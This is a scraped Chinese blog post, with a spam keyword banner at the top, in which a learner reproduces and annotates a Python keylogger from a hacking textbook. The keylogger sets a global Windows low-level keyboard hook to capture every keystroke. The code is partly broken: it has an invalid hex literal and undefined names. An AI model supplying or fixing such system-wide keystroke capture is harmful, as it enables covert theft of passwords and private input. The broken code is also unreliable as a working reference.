日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...

發布時間:2024/9/30 python 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)... 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

最近從圖書館借到一本書《Python黑客攻防入門》,感覺里面的提供的代碼模塊對自己深有感觸(主要我超菜),所以打算嘗試寫點小分析,希望大家能諒解本人的語言組織與技術分析。

希望有人來討論......

python 3.7版本

代碼塊

import sys

from ctypes import *

from ctypes.wintypes import MSG

from ctypes.wintypes import DWORD

#調用WIN32中的API

user32= windll.user32 #以windll加載user32.dll文件

kernel=windll.kernel32 #加載kernel32.dll文件

WH_KEYBOARD_LL=13 #安裝一個監視低級鍵盤輸入事件的鉤子過程

WM_KEYDOWN=0×0100 #按下一個非系統鍵時將消息發送給具有鍵盤焦點窗口(不與ALT鍵連用)

CTRL_CODE =162

#定義掛鉤函數

class KeyLogger:

def __init__(self):

#初始化

self.lUser32 =user32

self.hooked =None

#裝載鉤子

def installHookProc(self,pointer):

self.hooked = self.lUser32.SetWindowsHookExA(

WH_KEYBOARD_LL, #要監視的事件

pointer, #指向鉤子過程的指針

kernel32.GetModuleHandleW(None), #要鉤取的線程所屬的DLL句柄,此函數返回

0 #要鉤取的線程ID,為0則表示全局鉤子

)

if not self.hooked:

return False #return false阻止向下執行

return True #返回正常結果,正常執行

#定義脫鉤函數

def uninstallHookProc(self):

if self.hooked is None:

return #return返回值為None,控制權交回

self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函數拆除之前設置的鉤子

self.hooked=None

#獲取函數指針

def getFPTR(fn):

CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))

return CMPFUN(fn)

#定義鉤子過程

def hookProc(nCode, wParam, lParam):

if wParam is not WM_KEYDOWN:

return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)

hookedKey = chr(lParam[0])

print(hookedKey)

if(CTRL_CODE == int(lParam[0])):

print("Ctrl pressed,call uninstallHook()")

keyLogger.uninstallHookProc()

sys.exit(-1)

return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#8.傳遞消息:GetMessageA()函數函數監視隊列,消息進入隊列后取出消息,并傳遞給勾連中的

#第一個鉤子

def startKeyLog():

msg = MSG()

user32.GetMessageA(byref(msg), 0, 0, 0)

#9.啟動消息鉤取,首先創造KeyLogger 類,然后installHookProc()函數設置鉤子,同時

#注冊鉤子過程回調函數。最后調用startKeyLog()函數,將進入隊列的消息傳遞給勾連

keyLogger = KeyLogger()

pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):

print("installed keyLogger")

startKeyLog()

概念理解:

鉤子(hook):操作系統為有消息到來或發生鼠標點擊、鍵盤輸入等事件時,操作系統提供了中間攔截機制。鉤子分為本地鉤子和全局鉤子。本地鉤子針對特定線程設置,全局鉤子針對操作系統中運行的所有線程設置。

方法簡要:

使用user32.dll提供的SetWindowsHookExA()函數可以設置鉤子。

使用python中默認提供的ctypes模塊,可以在python程序中調用DLL,使用C語言的變量類型。

MSDN提供對WIN API的使用方法。

總結:

我靠,這程序運行出來命令行一直是黑屏,沒反應。是因為360嗎,反正我搞了兩天這程序沒成功,希望有大佬可以伸出援助之手,幫幫小弟...

總結

以上是生活随笔為你收集整理的python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。